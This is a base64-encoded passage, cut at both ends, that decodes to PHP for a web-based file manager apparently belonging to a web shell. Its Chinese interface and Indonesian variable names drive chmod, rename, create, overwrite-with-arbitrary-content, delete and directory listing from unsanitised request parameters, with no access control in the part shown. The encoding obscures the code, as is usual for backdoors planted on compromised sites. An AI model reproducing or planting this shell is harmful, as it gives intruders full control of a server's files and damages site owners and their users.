QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5M